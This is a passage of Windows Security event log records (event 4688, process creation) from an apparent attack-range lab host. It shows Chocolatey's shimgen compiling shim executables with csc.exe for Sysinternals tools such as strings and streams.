	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\sync.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_6925\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246905
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xae4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xcf8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246904
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcf8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\sync.exe" --output="C:\ProgramData\chocolatey\bin\sync.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\sync.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246903
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf18
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES10AF.tmp" "c:\ProgramData\chocolatey\bin\CSC65D562158A7A47DE8B4791986FF93D2.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246902
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246901
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\strings64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_4737\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246900
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe2c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246899
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe2c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\strings64.exe" --output="C:\ProgramData\chocolatey\bin\strings64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\strings64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246898
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc0c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFD5.tmp" "c:\ProgramData\chocolatey\bin\CSC9CEA1BD0CE2E4D219404693B4BA28C.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246897
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x618
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc0c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246896
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc0c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb34
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\strings.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_2550\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246895
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb34
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246894
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb34
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\strings.exe" --output="C:\ProgramData\chocolatey\bin\strings.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\strings.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246893
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEFA.tmp" "c:\ProgramData\chocolatey\bin\CSC213546CCDD7E4497AF6826A584A64A39.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246892
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x30c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246891
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x30c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe8c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\streams64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123427_0362\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246934
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
